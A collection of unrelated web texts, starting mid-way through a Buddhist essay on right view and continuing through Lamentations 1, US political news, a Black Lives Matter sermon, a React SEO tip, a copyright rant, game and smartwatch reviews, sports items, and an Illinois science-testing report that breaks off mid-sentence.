when you can truly get beyond it.  Second, unlike the image of sitting on the shore, watching an ocean beyond your control, the Buddha’s image conveys the point that there’s something you can do to get to safety: You have within you the power to follow the duties of the four noble truths and develop the path that will take you to the other side. As he said, wisdom begins with the question, “What when I do it will lead to long-term welfare and happiness?” (MN 135) The wisdom here lies in seeing that there is such a thing as long-term happiness, that it’s preferable to short-term, and that it depends, not on conditions beyond your control, but on actions you can train yourself to do. This version of wisdom is a far cry from the “wisdom” that ends in resigned equanimity and reduced expectations. It honors your desire for long-term happiness, and shows how it can actually be found.  Third, to sit watching the ocean waves come ashore is peaceful and desirable only as long as you’re wealthy enough to be at a resort, with someone to bring you food, drink, and shelter on a regular basis. Otherwise, you have to keep searching for these things on your own. And even at the resort, you’re not safe from being swept away by tsunamis and storms.  The image of crossing the river to safety on the further shore also offers an enlightening perspective on the view that all fixed views should be abandoned. In the Canon’s own interpretation of the image (SN 35:197), the river stands for the fourfold flood of sensuality, becoming, views, and ignorance, while the raft of the noble eightfold path includes right view. Although it’s true that the raft is abandoned on reaching the further shore, you still have to hold on to it while you’re crossing the river. Otherwise, you’ll be swept downstream.  What’s rarely noticed is the paradox contained in the image. Right view, seeing things in terms of the four noble truths, is part of the raft needed to cross over the flood of views. As the Buddha saw, it’s the only view that can perform this function, taking you safely all the way across the river and delivering you to the further shore.  It can take you all the way across because it’s always true and relevant. Cultural changes may affect what we choose to feed on, but the fact of feeding is a constant, as is the connection between suffering and the need to feed. In that sense, right view counts as fixed. It can never be replaced by a more effective understanding of suffering. At the same time, it’s always relevant in that the framework of the four noble truths can be brought to bear on every choice you make at every stage of the practice. Here it differs from the three perceptions, for while the Buddha noted that they’re always true (AN 3:137), they’re not always relevant (MN 136). If, for instance, you perceive the results of all actions, skillful or not, as impermanent, stressful, and not-self, it can dissuade you from making the effort to be skillful in what you do, say, or think.  In addition to being always true and relevant, right view is responsible. It gives reliable guidance on what should and shouldn’t be taken as food for the mind. As the Buddha said, any teaching that can’t give trustworthy guidelines for determining what’s skillful and unskillful to do abdicates a teacher’s primary responsibility to his or her students (AN 3:62). The Buddhologist’s answer to the interviewer exemplifies how irresponsible the teaching to abandon fixed views can be. And the look she gave him showed that she wanted nothing of it.  After taking you responsibly all the way across the river, right view can deliver you to the further shore because it contains the seeds for its own transcendence, which—as you develop them—deliver you to a transcendent dimension (AN 10:93). Right view does this by focusing on the processes by which the mind creates stress for itself, at the same time encouraging you to abandon those processes when you sense that they’re causing stress. In the beginning, this involves clinging to right view as a tool to pry loose your attachments to gross causes of stress. Over time, as your taste for mental food becomes more refined through its exposure to right concentration, you become sensitive to causes of stress that are more and more subtle. These you abandon as you come to detect them, until eventually there’s nothing else to abandon aside from the path. That’s when right view encourages you to turn the analysis on the act of holding on to and feeding on right view itself. When you can abandon that, there’s nothing left for the mind to cling to, and so it’s freed.  The view that all fixed views should be abandoned, however, doesn’t contain this dynamic. It provides no grounds for deciding what should and shouldn’t be done. In itself, it can act as an object of craving and clinging, becoming as fixed as any other view. If you decide to drop it, for whatever reason, it delivers you nowhere. It offers no guidance on how to choose anything better, and as a result, you end up clinging to whatever passing view seems attractive. You’re still stuck in the river, grasping at pieces of flotsam and jetsam as the flood carries you away.  This is why it’s always important to remember that, in the practice to gain freedom from suffering, the four noble truths must always come first. They give guidance to the rest of the path, determining the role and function of all the Buddha’s other teachings—including emptiness and the three perceptions—so that, instead of lulling you into being satisfied with an exposed spot on the beach, they can take you all the way to the safety of full release, beyond the reach of any possible wave.
-LAMENTATIONS 1  « Jeremiah 52 | Lamentations 1 | Lamentations 2 »  How Lonely Sits the City  1:1 How lonely sits the city that was full of people! How like a widow has she become, she who was great among the nations! She who was a princess among the provinces has become a slave.  2 She weeps bitterly in the night, with tears on her cheeks; among all her lovers she has none to comfort her; all her friends have dealt treacherously with her; they have become her enemies.  3 Judah has gone into exile because of affliction and hard servitude; she dwells now among the nations, but finds no resting place; her pursuers have all overtaken her in the midst of her distress.  4 The roads to Zion mourn, for none come to the festival; all her gates are desolate; her priests groan; her virgins have been afflicted, and she herself suffers bitterly.  5 Her foes have become the head; her enemies prosper, because the Lord has afflicted her for the multitude of her transgressions; her children have gone away, captives before the foe.  6 From the daughter of Zion all her majesty has departed. Her princes have become like deer that find no pasture; they fled without strength before the pursuer.  7 Jerusalem remembers in the days of her affliction and wandering all the precious things that were hers from days of old. When her people fell into the hand of the foe, and there was none to help her, her foes gloated over her; they mocked at her downfall.  8 Jerusalem sinned grievously; therefore she became filthy; all who honored her despise her, for they have seen her nakedness; she herself groans and turns her face away.  9 Her uncleanness was in her skirts; she took no thought of her future; therefore her fall is terrible; she has no comforter. “O Lord , behold my affliction, for the enemy has triumphed!”  10 The enemy has stretched out his hands over all her precious things; for she has seen the nations enter her sanctuary, those whom you forbade to enter your congregation.  11 All her people groan as they search for bread; they trade their treasures for food to revive their strength. “Look, O Lord , and see, for I am despised.”  12 “Is it nothing to you, all you who pass by? Look and see if there is any sorrow like my sorrow, which was brought upon me, which the Lord inflicted on the day of his fierce anger.  13 “From on high he sent fire; into my bones he made it descend; he spread a net for my feet; he turned me back; he has left me stunned, faint all the day long.  14 “My transgressions were bound into a yoke; by his hand they were fastened together; they were set upon my neck; he caused my strength to fail; the Lord gave me into the hands of those whom I cannot withstand.  15 “The Lord rejected all my mighty men in my midst; he summoned an assembly against me to crush my young men; the Lord has trodden as in a winepress the virgin daughter of Judah.  16 “For these things I weep; my eyes flow with tears; for a comforter is far from me, one to revive my spirit; my children are desolate, for the enemy has prevailed.”  17 Zion stretches out her hands, but there is none to comfort her; the Lord has commanded against Jacob that his neighbors should be his foes; Jerusalem has become a filthy thing among them.  18 “The Lord is in the right, for I have rebelled against his word; but hear, all you peoples, and see my suffering; my young women and my young men have gone into captivity.  19 “I called to my lovers, but they deceived me; my priests and elders perished in the city, while they sought food to revive their strength.  20 “Look, O Lord , for I am in distress; my stomach churns; my heart is wrung within me, because I have been very rebellious. In the street the sword bereaves; in the house it is like death.  21 “They heard my groaning, yet there is no one to comfort me. All my enemies have heard of my trouble; they are glad that you have done it. You have brought the day you announced; now let them be as I am.  22 “Let all their evildoing come before you, and deal with them as you have dealt with me because of all my transgressions; for my groans are many, and my heart is faint.”  « Jeremiah 52 | Lamentations 1 | Lamentations 2 »
-NATIONAL CITY, Calif. — Democratic presidential candidate Bernie Sanders hosted a rally in National City Saturday evening and was introduced by comedian George Lopez.  “Nothing is over yet and this movement is still going on,” Lopez said during his introduction. “I want you to have money. I want you to have an education. I want the police to leave us alone.”  Sanders, who spoke to nearly 7,500 supporters at Kimball Park, stuck to familiar themes in his speech.  “Together we are going to create an economy that works for all of us, not just wealthy contributors,” he told the cheering crowd. “(America needs) a democracy that does not mean a campaign finance system in which billionaires buy elections.”  “We need a massive federal jobs program to put our people back to work,” Sanders said, advocating that the federal government could create such jobs by rebuilding America’s infrastructure, including water treatment facilities and roads.  Sanders said he supports the right of states to legalize marijuana and said he would vote for the California ballot initiative to do so if he lived here.  He also called on America to “invest in young people in jobs and an education, not in incarceration” and to “make public colleges and universities tuition-free.”  The National City Police Department said A and D avenues and East 12th and East 15th streets, would be closed around the park about two hours before the event.  Sanders also was scheduled to speak in Vista Sunday afternoon at Rancho Buena Vista High School.  Former President Bill Clinton Saturday urged San Diego County voters to support his wife, Democratic presidential candidate Hillary Clinton, in the California primary next month.  The nation’s 42nd president spoke to a crowd of hundreds of supporters packed into the gymnasium at Bonita Vista High School. Their enthusiasm did not seem to wane despite his being about an hour late to the event. An overflow crowd was led to an area outside the gym.  Presumptive Republican nominee Donald Trump is scheduled to hold a rally at the San Diego Convention Center on May 27.
-I delivered this sermon Sunday, September 27, 2015 at the Colorado State Capitol in Denver. The weather was hot and the service long, yet the music, words, and energy shared made for a moving morning. Photo credit: Daniel Sauvé  “Which side are you on?”  It’s a controversial question—and, in this time of Black Lives Matter banners being ripped down and vandalized, it feels like the right question. So I’ll do the one thing I can do—share my story of how I’ve come to say ‘Black Lives Matter’—and believe that mine does, too. It’s a story of self-hate turned to activism and hope.  After leading a Black Lives Matter UU training in New York on Thursday, I went out with three other black UU young adults—yes, there a few others out there—I see you, Maníge–into a bar that, well, wasn’t in Harlem. We were nearly the only black folks in there, even as other folks came and went, and we were loud. We cut loose. The four of us—employed by mostly-white, UU institutions—got loud. We laughed loud, we commiserated loud, and we hoped and strategized loud. It got intense, the sharing and  I mentally stepped back and realized I was at that table: the table of loud black people. It was the table that, as a teenager, I feared and tried to hate, but just couldn’t. I looked into the face of my close friend Raziq Brown, and of my two other friends. I excused myself and went outside. I made it to the front door before the tears came. I wept.  The tears came because of how much younger me had learned to hate my blackness, to play it down when possible. No one person really said the words, yet the message sank in over time. As a child I heard from many about about the civil rights movement, in past tense. “We had problems and now they’re fixed,” basically. Though I had some teachers and religious educators say different, that was the biggest message.  My black family’s education level and success got used to put other black people down. “All it takes in this country is hard work—look at the Stewart-Wiley family!”  As a teen I learned that it was easy for me to navigate white spaces. My diction was “perfect”—I asked for things instead of aksing for them. I could “take a joke” at UU youth group instead of “being all social justice-y.” I got good at the art of making sure white people around me were comfortable. Eye contact. Smile—a lot. Good handshakes.  I was “impressive.” “Articulate.” “A refreshing young man.” “A credit to my people.” Supremacy teaches us that black lives matter only if—if we are respectful, if we are exceedingly educated, if our records are clean—then denies most black people the resources to make new realities. For awhile, I bought in.  But things kept happening. I kept reading and kept listening and other black folks seemed to be insisting, “Yeah, actually, the cops still harass us and too many of us are in jail and there’s this thing called mass incarceration and schools are still segregated with wildly unequal resources and LISTEN TO US.”  I started listening—to them and to myself. And over time I realized that other folks were starting to wake up. The ‘Black Lives Matter’ movement is often referred to as a new movement. And it is. Yet it is also old. Some of you have been to marches and you’ve heard old freedom songs like ‘Wade in the Water’ combined with the chant “black lives, they matter here.” This work is old and new together because a new wave of folks, young and not-as-young, are fighting old battles.  The road to that moment at the bar—to finally being okay with being at the loud black table, to finally not worrying so much about what white people might think of us—has been long, and it has everything to do with Black Lives Matter, a movement that’s saved me—and Unitarian Universalism—my religious home, a faith that’s both wounded and healed me.  Sometimes it’s asked, “What is the history of Unitarian Universalists on racial justice? Have we been good? Have we been bad?” The only answer is “yes.” The equivocation that challenges me—from “But all lives matter!” to “Well yes, racism is a big deal, but…”—has always been there. Yet throughout our religious history, there have been Universalists and Unitarians willing to resist the status quo, and willing to disrupt things so we might build a more inclusive world.  In 1965 Dr. King asked, “Who killed James Reeb?” Reeb was a young Unitarian minister from Boston who answered the call to go to Selma. King said, “a few sick and misguided men.” Indeed. For being white and supporting black folks’ freedom struggle, Reeb was viciously, and fatally attacked. Dr. King kept going, though, asking, “What killed James Reeb?” …The blame is wide and the responsibility grows… He was murdered by the irrelevancy of a church that will stand amid social evil and serve as a taillight rather than a headlight, an echo rather than a voice…  So, in his death, James Reeb says something to each of us, black and white alike—says that we must substitute courage for caution, says to us that we must be concerned not merely about who murdered him, but about the system, the philosophy which produced the murder.  Today, friends, we are told that the “sides” are pro-police or anti-police, and that saying Black Lives Matter means you are anti-white. It’s not true. What is being of us is what was asked of James Reeb, and Viola Liuzzo, a white UU woman whose life was also taken in Selma: will we choose courage or caution?  This faith, this Unitarian Universalism, it is imperfect. I shared some of my wounds and struggles with you, hurts this faith helped foster. Yet I continue to believe in us. I believe in its possibility because it was as a Unitarian Universalist that the tears fell down my face when Trayvon’s killer went free, when they shot Rekia Boyd, when Michael Brown laid in the street for 4 and a half hours.  This was the faith that brought me out of my house and right here to the capitol steps thirteen months ago to say “this must stop.”  This is the faith that has helped us do great work, needed work. This is the faith that said, “We will marry you and your same-sex partner.”  This is a faith that said, “our children and teens need real health and sexuality education.”  This is a faith that says, “You can be depressed and we want you here.”  This is a faith that says you don’t have to have all the answers.  This is the faith that brought Viola Liuzzo to Selma.  This is the faith that got dozens of UU youth marching down Colfax last January with and for black lives.  This is a faith that calls us to do more, to be more.  Will we be a faith that says, “Whatever your education, whatever your criminal record, whatever I have been taught to fear about you—black lives are worthy and holy”?  I don’t know. I hope so.  I know that this question: “Which side are you on?” is not an easy one to answer, until it is. I know that finding my answer—that I am on the side of liberation, that I am on the side of blackness, that I am on the side of Unitarian Universalism, that I am on the side of love—has saved my life over and over and over again.  May we use that question—“Which side are you on?”—to be able to mean that chant: “Black lives: they matter here.” And here. And here. Amen.  Advertisements
-SEO is important for almost any site, and React sites are no exception.  The problem with a React site is that the content is often generated on the client. This means that search engines may not index your content, which means users won't find your pages.  Server-side rendering is one solution, but it doesn't work for everybody (for instance if your backend is already built and it's not running node).  The good news is that even if you are only rendering client-side, Google might already be crawling your React components.  Read on to find out how to tell if the Googlebot is crawling your React components. In case it isn't, we'll cover how to make it do so.  Fetch as Google  Google provides a great tool called Fetch as Google. You can use it to check if Google has found your rendered React components.  The directions are in this Google support link, but before they will work, you need to access Google's Search Console. Fortunately, Google provides Search Console for free, and you can sign up at google.com/webmasters.  So, to iterate this two-step process:  Sign up for Search Console.  Use Search Console's Fetch as Google feature to check your site.  Once you get into Fetch as Google , be sure to use the Fetch and Render button to get a visual indication of whether or not Google is seeing your content. It looks like this:  The Results  I went ahead and tried Fetch as Google on my starter project search tool and this was the result. On the left it shows what the crawler sees, and the on the right it shows what users see. We want them to match:  My images don't match... in fact, there's a big blank spot where my React components should be. Uh oh! This means Google won't add any of that missing content to their index. This could negatively impact my SEO.  So wait, why don't they match? Googlebot is limited in how long it will allow your page to render. There's no concrete documentation on this, but generally, asyncronous calls like AJAX and setTimeout won't be allowed to finish. The only way to know for sure if it's working is to use Fetch as Google.  The Fix  My starter project search tool was making an AJAX call to get GitHub stars and waiting for the response before rendering any components. The Googlebot won't wait for that.  The fix was to call ReactDom.render first, then make my AJAX call for the GitHub stars.  Here is the result:  It worked! Googlebot (image on the left) is seeing way more content. The GitHub stars didn't load, but I don't need those for SEO.  Caveats & Conclusion  In my research I couldn't find any evidence that Yahoo, Bing, or Baidu support JavaScript in their crawlers. If SEO on these search engines is important to you, you'll need to use server-side rendering, which I'll discuss in a future article.  If SEO on Google is enough, then just:  Render your components before doing anything asynchronous.  Test each of your pages with Fetch as Google to ensure that the Googlebot is finding your content.  Then enjoy the flood of new users coming in from Google!
-The US seems to want to be a copyright and patent based economy... in other words to rely on the creativity of the past, to steal and deal in copyright and patents from non-US sources, to extend patents and copyrights way beyond the original reasonable time, jurisdiction and geographic limits that applied not 30 years ago, to create 'trade treaties' with other nations that ensure that said copyright and patents will be recognised for eternity and to ensure that US industry and the economy, and the numerous patent trolls who operate on its peripheries, have an income stream until time immemorial.  That's OK though... because what they're trying to do is also what's killing the US as an economic competitor.  In the 19th century they stole ideas, patents and copyright freely from Britain and Europe and became an economic powerhouse when they improved on those ideas to produce even better product than their Continental cousins, much more efficiently and much more cheaply.  The US then operated on the basis that the 'free flow of ideas' was critical to world trade, and 'freedom and liberty', and that its citizens should have the right to watch the works of the great bards, playwrights and poets on their local stages, in their local publications, and that nobody had the right to constrain art, literature and the like or demand fees for use of same from other jurisdictions.  Now the story is different, however. Now they don't even have to generate the ideas, or create the product, or develop the books, plays or whatever.... they can simply buy them from the impoverished artists (usually under contract provisions that accrue ALL patent or copyright rather than licensing whatever they need for whatever work they plan to produce) for minimal payment and miserly royalties (and then only if said artist has a bloody good lawyer) and then they can live for the life of the author/musician/artist plus 70 years of the proceeds of same... making sure that copyright/patents etc. are re-enabled within that time for another 70 years time by way of later reproduction... to the copyright/patent holder.  The problems with this state of affairs are numerous and self evident... but its good to see an atrophying of the US's entrepreneurial sprit as its economy falls into the hands of the parasitic (lawyers, accountants, bankers and financial mavens), and those who are entrepreneurial and productive shy away from possible law suits, police actions or whatever because their particular idea for making a buck is likely to be jumped on by the leeches in the copyright and patent chains. I mean, if they wanted creativity and enterprise in the American economy, it may have paid them to dump patents and copyright completely, and let a new breed of robber barons take over from the failed stultified parasites who have led American industry so far down the toilet it will probably never climb out.  And in so many other pursuits... science, engineering, software development and the like... successful research and product is generally built by innovating new product rather than inventing. In science in particular, new knowledge and theories are generally built by proposing new explanations about the relationship between two KNOWN variables and then testing them. Try that, when developing new drugs, or creating a sustainable fusion reaction, or whatever... when the KNOWN variables/effects/whatever are patented or copyrighted or otherwise restricted and the holders of said patents/copyrights/restrictions want their 'cut of the action'.  Put simply, that's a huge brake on the US economy... which many other economies (eg. China, Korea, Japan and the like) simply won't tolerate or acknowledge. They take what works, and improve on it... and that's one reason why they succeed.  Now it's possible that the US may go to war to protect its patents and copyright (many/most of which were acquired from non-US sources), but it should not expect the rest of the world to support it when it does so.  Bottom line: American politicians, judges and executives don't seem to realise what a deep hole they are digging themselves into with their attempt to create an income stream from the deep dark past, using questionable justifications (providing incentive for authors 70 to 90 years after they are dead for Chrissake! Especially when ALL rights have accrued to the copyright licensee rather than the authors descendants!) for activities that actually stifle creativity.  Me? I welcome what the US politicians, judges, industry, corrupt lobbyists and the like are doing. They are ensuring that the US economy gets progressively weaker and more atrophied, that its traditional inventiveness and creativity will be decimated, that it will no longer be able to economically or technologically support the huge military-industrial power that is about the only clout the US continues to have, and that the US deficits will increase and balance of payments will continue to decrease (as the world stops buying increasingly obsolete US technology and product ranges).  Factor in that the US political establishment fails to grasp the facts that little numbers like Green technology would actually introduce energy efficiencies (reducing their massive energy deficits for example) and increasing demand (stimulating economic growth - China realises this, believe me!), that the economic rationalism of its industrialists means its major industries have all based themselves overseas, and that major competitor nations (China, Korea, Taiwan and to a certain extent India) are re-tooling and developing at the exactly the right time for the next wave of economic and technological development (which the US can't even afford to do now, even if that was on the policy cards), and that critical US economic infrastructure (roads, railways, bridges, sewerage, power, water and utilities et al) has been run into the ground as a result of 30 years of 'economic rationalist' neglect... and the situation doesn't look to good for our American cousins.  They're digging themselves yet another hole... and all they can do is play politics in Congress, live on dreams of a fading 'empire' and blame the rest of the world for their problems.  It's nuts. But no more nutty than a hundred other things they've done over the last 40 years. I wonder how Sergei Prokofiev (who died in 1953) would have felt about it.  Frank O'Connor is a contributor to the LINK eamil group.
-Custom Games Every Saturday, we’ll highlight a Dota 2 custom game that is fun, playable, and relatively bug-free. To find a custom game, go to the ‘Custom Games’ tab in Dota 2 and enter the name as we’ve provided it in the search box in the top right—in this case, Dota IMBA.  Dota IMBA is like normal Dota turned up to 11. In the words of its creators, ‘it’s what would happen if Icefrog went mad, and buffed every hero 100 patches in a row’. Sniper’s ult hits everything in its path. Pugna’s ward can steal spells. Techies mines can move.  Discovering new versions of each spell is fun in and of itself: it recaptures the feeling from when you first started playing and it seemed like Dota’s box of tricks would never run out. At the same time, because nearly everything is a tweaked version of something from the main game, the experience is rarely overwhelming. The roles of each hero are the same for the most part, and you’ve got a rough idea of what each hero is capable of—it’s like jumping in after missing a dozen patches. A dozen ridiculous, whimsical patches made in a world where Dota doesn’t have to be a serious, ultra-balanced competitive sport and can instead embrace its silly side.  The same philosophy is applied to items: Shadowblade gives you free pathing, Force Staff pushes people twice as far and Magic Wands can gather charges from across the map. Dagons can be upgraded to level ten, and multiple Divine Rapiers get assimilated into each other while increasing all the damage that you do—not just right clicks. As with hero abilities, reading the new item descriptions invokes a similar excitement to going through patch notes, delighting in the myriad of new possibilities on offer. There are a bunch of entirely new late game items too, which combined with all the other changes means you can’t rely on your usual builds. (Pro tip: Because Branches only cost 5 gold, it’s worth starting with a wand and filling up any gaps in your inventory with branches.) Again, existing knowledge provides a framework to go off on while improvising around and adapting to the new stuff.  Don’t get me wrong, Dota IMBA is still a competitive game. Playing well requires using all the same skills as normal Dota. Given just how much more deadly everyone is, I’d even say it punishes mistakes more harshly: put a toe out of line in lane and the chances are your opponents will take you apart. The importance of each last hit and deny is increased too, as each creep kill grants a lot more gold. While this is a neat way of adding more tension to otherwise slow parts of the game, it does mean that teams and individual players tend to pull away from each other faster. You can feel the lack of skill-based matchmaking hurting IMBA more than other custom games, with matches often turning into stomps.  Fortunately, the pain of being trampled on—and the boredom of trampling over others—is offset by the host of comeback mechanics IMBA introduces. Killing heroes of a higher level gives you much more gold, increasing dramatically the further they are ahead and the longer their killstreak. Towers get stronger with each one that gets knocked down, firing faster and gaining versions of some hero abilities such as cold snap or fury swipes. I especially like how the ancient itself turns into a boss fight, throwing out ultimates as its health gets whittled down. It gives the defending team something to rally around, potentially tipping the scales back in their favour if the attackers aren’t careful. I’d say the ancient might actually be a bit too tough to kill, but the devs agree with me – a recent patch toned down its abilities so teams don’t feel punished for winning too quickly. Even without these changes, the fact that each hero does much more damage means that it’s easier to kill opponents when playing from behind, using positioning and teamplay to compensate for the power gulf.  Increasing the power of each hero tends to exaggerate the roles they play. Heroes that traditionally have an early game focus will dominate even more than usual at the start, while hard carries can become unstoppable. Snowball heroes fair particularly well: characters like Templar Assassin and Storm Spirit do better and better the more momentum they manage to gain. I’ll cop to being a little biased, given that it’s the playstyle I always gravitate towards. Still, I had a lot of fun supporting too –Witch Doctor’s paralysing cask is one of the most excruciating stuns in the main game, and in IMBA, with the number of jumps doubled, it’s obscene. Admittedly, trying to stop an immortal level 35 Anti-Mage later in the same game was less fun.  You could say it would be a bit silly for me to complain about balance problems in a game mode literally called ‘Imbalanced’, but look, they walked right into it. All heroes are overpowered, but some heroes are more overpowered than others. Some heroes haven’t had their abilities entirely reimagined, though they’ll usually have drastically altered cooldowns, damage values or mana costs. Still, the ones with orange text in their descriptions to show that new effects have been added are generally more powerful. Omniknight in particular is a nightmare, with the workshop forum page calling for a much needed nerf.  In fairness, that’s all part of the fun. If you’ve ever wanted to fulfil your fantasy of stomping around as an Invoker with no cooldown on invoke, or a Pudge with the size and strength of Roshan, then Dota IMBA is a custom game worth checking out.  PC Gamer Pro is dedicated to esports and competitive gaming. Check back every day for exciting, fun and informative articles about League of Legends, Dota 2, Hearthstone, CS:GO and more. GL HF!
-He may be a new face to many Arsenal fans, but Arsene Wenger has been following Sead Kolasinac for “a long time”.  The Bosnia international has become our first signing of the summer and his new manager is confident that he will quickly adapt to Premier League football.  “He’s very compact as a player, very strong and determined in the challenges,” Wenger told Arsenal Player. “He’s good in the air as well, so overall I believe he has all the attributes to adapt to English football  “The game here is very demanding physically on the commitment front and he has the ingredients to adapt to that.  “What he will give us is the fact that he’s a player who can give assists, who can go forward, who can contribute good crosses.  “It’s very important that we have that as well, because we have Kieran Gibbs, we have Nacho Monreal and we have him. But Nacho plays a lot now in central defence and in a three-man system I see him in there.  “So overall, I think [Kolasinac] can contribute a lot to help us to be more dangerous going forward.”  More polls and quizzes to follow soon
-Obama heckled again over 'don't ask'  By Ed O'Keefe  For the second time in as many months, President Obama was heckled about the military's "don't ask, don't tell" policy at a California fundraiser for Sen. Barbara Boxer.  But this time, the president shot back.  Speaking Tuesday evening about the economy at the Democratic Senatorial Campaign Committee event in San Francisco, the president was interrupted by a man who yelled out, "Move faster on 'don't ask, don't tell.'"  "It's good to see ya," Obama told the man as the crowd booed.  The man continued shouting as the president said, "I have to say, you know what? I saw this guy down in LA." Obama said. Gay rights protesters interrupted the president during an April fundraiser for Boxer in Los Angeles, and the president apparently recognized Tuesday's heckler as the same individual.  Obama popped off about the heckler: "He really should like, buy a ticket to, if he wants to demonstrate, buy a ticket to a guy who doesn't support his point of view."  He added later that "maybe he didn't read the newspapers because we are working with congress as we speak to roll back 'don't ask, don't tell.'"  And finally: "I actually think he does read the newspapers because he wasn't as -- his heart wasn't in it -- he said 'Do it faster.' C'mon man..."  The full House and Senate Armed Services Committees are set to vote Thursday to repeal the military's ban on gays and lesbians openly serving in the military once the Pentagon completes a study of how to integrate them. Though House members say they have enough support, the Senate panel is believed to still be a few votes short.  Leave your thoughts in the comments section below  RELATED: Ben Nelson backs 'don't ask' compromise
-I’ve been wearing a Pebble Steel on loan for the past few days. I find it comfortable, well designed and far more attractive than the original plastic smartwatch model. The internals of the watch are the same on both versions and both can use the new Pebble appstore. So the question I’m getting over and over again is based around size. That’s fair, as most smartwatches have tended to be bigger and bulkier than their traditional counterparts.  Advertisement  I actually collect mechanical watches, although I’ve only recently begun and have a small collection. But these watches, as well as some older smartwatches can help answer the question of size when it comes to the Pebble Steel. Obviously, different people have different sized wrists so I can’t say if the Pebble Steel will fit you well. I can, however, show it relative to other watches I wear or have worn.  For reference, I’m 5′ 5″ tall, weigh around 130 pounds and have a 6.5″ wrist. I wear a Large Fitbit Force and fasten it on the second to last holes.  The Pebble Steel doesn’t completely cover my wrist although it’s about as big as I would prefer. Here is it next to my Fitbit Force and a mechanical Mondaine watch for scale. The Mondaine watch case is 35 millimeters in diameter while the rectangular Pebble Steel case is 46 millimeters x 34 millimeters. I wear the Mondaine comfortably on a regular basis.  The Pebble Steel is smaller than the original Pebble, which measures 52 millimeters by 36 millimeters; a noticeable difference.  For a few years I wore a Motorola MotoACTV smartwatch. I still do from time to time but less so due to its bulk. There’s simply no comparison here; the Pebble Steel is much easier to wear.  The Samsung Galaxy Gear is certainly smaller than the MotoACTV but I don’t find it comfortable. The Pebble Steel is again noticeably smaller than the Galaxy Gear, which measures 56.6 millimeters by 36.8 millimeters.  The largest watch I comfortably own and wear is a Hamilton automatic with a 44 millimeter case diameter. With my relatively small wrists, wearing this watch is a stretch; I really couldn’t go bigger. But the Pebble Steel works for my wrist because when measured from the lugs — where the strap attaches on a watchface — it’s actually smaller than the Hamilton. It’s also not as wide.  Of course thickness also plays a part when it comes to wearing a watch. The Pebble Steel is again slimmer than its predecessor in this area, measuring in at 10.5 millimeters thick compared to 11.5 millimeters on the older model.  Samsung’s Galaxy Gear is even thicker, which contributes to the bulky feeling I get when wearing it. Officially, Samsung says the Galaxy Gear is 11.1 millimeters thick, but it looks even bigger than that when compared to the Pebble Steel.  And that Hamilton that I often wear? It’s about the same thickness as the Pebble Steel and most other watches I own save for the Mondaine, which is a super slim Quartz model.  Having a thin, very flat crown helps the Pebble Steel when it comes to thickness. Look in the picture above and you can see the glass crown of my Hamilton extending above the watch case; fairly common for all traditional watches.  So is the Pebble Steel the right size for you? Again, it’s impossible for me to say.  What I can tell you is that the new Steel model is more comfortable to wear and is smaller than its predecessor. It’s also similar in size to other mechanical watches I wear, which is a design win. Could Pebble whittle the size down even more in the future? Sure it could, although I’d be careful not to reduce the battery size. Ultimately, the size of both the screen and the battery will continue to be limiting factors in future smartwatches as the internal sensors and chips themselves will likely grow smaller.  Disclosure: Fitbit is backed by True Ventures, a venture capital firm that is an investor in the parent company of this blog, Giga Omni Media. Om Malik, founder of Giga Omni Media, is also a venture partner at True.
-A misdemeanor solicitation charge against Ohio State University defensive tackle Adolphus Washington was dismissed today. Washington pleaded guilty to the charge on Jan. 19 in Franklin County Municipal Court, under an agreement that it would be dismissed if he completed a program known as "John school" before his sentencing.  A misdemeanor solicitation charge against Ohio State University defensive tackle Adolphus Washington was dismissed today.  Washington pleaded guilty to the charge on Jan. 19 in Franklin County Municipal Court, under an agreement that it would be dismissed if he completed a program known as "John school" before his sentencing.  He completed the program and the charge was dismissed today, said Washington's attorney, Phil Templeton, who added that his client didn't get special treatment.  "He's doing what anybody else who's otherwise eligible for this this type of program can do," Templeton said. "So he's just moving on."  Washington was arrested on Dec. 9 in a Columbus police vice operation at a Far North Side motel. Police said he agreed to pay an undercover officer $100 for sex after responding to an online ad placed by police.  Washington, a senior, was suspended by football coach Urban Meyer and did not play in the Fiesta Bowl. He has been projected as a second-round pick in the NFL draft.  "John school," operated by the Columbus city attorney's office, teaches men arrested for prostitution about sexually transmitted diseases and about how prostitutes are victimized by the trade.  @JoAnneViviano
-Three years after Illinois made a bold change in how science would be taught and tested, little is known about how students have performed because neither schools nor families have seen state science exam scores since 2013-14.  Whether supported or maligned, state testing gives important information to schools and families about what students know in reading, math and science, and achievement results have been released continuously in reading and math.  But the delay in science scores — blamed largely on state budget woes — is unusual and problematic, given that federal law requires states to administer science exams at least three times from grade school through high school and make the results public.  There were no scores in 2015 because the Illinois State Board of Education didn't give a state science exam, getting into hot water with the U.S. Department of Education. At the time, the state argued it shouldn't give an old exam based on outdated standards for what students should know in science. For years, students took the state science exam in 4th, 7th and 11th grade grades.  Illinois adopted the updated Next Generation Science Standards in 2014, but a new state exam had not been created by 2015 testing time.  In spring 2016, the state administered a new science exam called the Illinois Science Assessment to 5th and 8th graders and to high school students taking biology. But scores have yet to be released for the 2016 exam, and by now, students have taken the spring 2017 science exam.  "How could schools have tested in 2017 and not have gotten 2016 results? It is kind of crazy," said Carol Baker, a longtime science educator who helped write the new state standards in science. She's now a grade school superintendent in west Cook County.  Phil Velasquez/Chicago Tribune Trees were the subject in the fifth-grade science class at Christa McAuliffe Elementary School in Chicago on Thursday, June 1, 2017. Trees were the subject in the fifth-grade science class at Christa McAuliffe Elementary School in Chicago on Thursday, June 1, 2017. (Phil Velasquez/Chicago Tribune) (Phil Velasquez/Chicago Tribune)  State officials acknowledged science testing and scoring has not gone smoothly.  "The timeline for scoring the ISA has been less than ideal. We deeply appreciate all of Illinois' educators and administrators for working hard to administer the ISA. We hear and understand their frustration with the delay," ISBE spokewoman Jackie Matthews said in response to written questions from the Tribune.  The agency has partnered with Southern Illinois University Carbondale to do the scoring, and the university is about one-third of the way through scoring the 2016 state science exams, according to Matthews. Those scores are expected to be released to districts this summer, and the 2017 scores in the fall.  "Uncertainty about state funding delayed ISBE's ability to enter into an intergovernmental agreement with SIU Carbondale to begin scoring the ISA. The delay was the result of Illinois' lack of a state budget and not of the process, nor of the scoring partner," Matthews said.  Baker said the delay in getting scores affects everything from curriculum planning at school to input at home about how students are achieving in science. In addition to providing individual student scores to parents, the statewide exam gives context to the public on how students are faring statewide, in districts and at local schools.  Baker said the state's budget crises delayed the start of scoring, and testing officials had to undergo the time consuming and complicated process of setting "cut" scores that determine if a student essentially passes or fails the exam.  But Baker said the situation is not all bad. Without a state science exam in 2015, for example, teachers got the chance to train in the new science standards without the pressure of a statewide exam. And teachers have been 